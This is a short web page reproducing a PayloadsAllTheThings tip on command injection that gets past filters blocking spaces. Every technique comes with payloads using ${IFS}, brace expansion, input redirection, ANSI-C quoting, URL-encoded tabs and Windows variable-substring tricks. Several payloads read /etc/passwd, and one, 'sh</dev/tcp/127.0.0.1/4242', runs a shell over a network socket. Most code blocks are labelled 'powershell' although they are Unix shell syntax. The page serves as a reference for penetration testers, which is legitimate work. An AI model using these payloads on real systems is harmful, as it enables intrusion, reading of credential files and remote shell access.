Command Injection: Bypass Without Space

Command injectionExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

  • $IFS is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret $IFS as a space. $IFS does not directly work as a separator in commands like ls, wget; use ${IFS} instead.

    powershell
    cat${IFS}/etc/passwd
    ls${IFS}-la
  • In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.

    powershell
    {cat,/etc/passwd}
  • Input redirection. The < character tells the shell to read the contents of the file specified.

    powershell
    cat</etc/passwd
    sh</dev/tcp/127.0.0.1/4242
  • ANSI-C Quoting

    powershell
    X=$'uname\x20-a'&&$X
  • The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value 09.

    powershell
    ;ls%09-al%09/home
  • In Windows, %VARIABLE:~start,length% is a syntax used for substring operations on environment variables.

    powershell
    ping%CommonProgramFiles:~10,-18%127.0.0.1
    ping%PROGRAMFILES:~10,-5%127.0.0.1

Comments

No comments yet.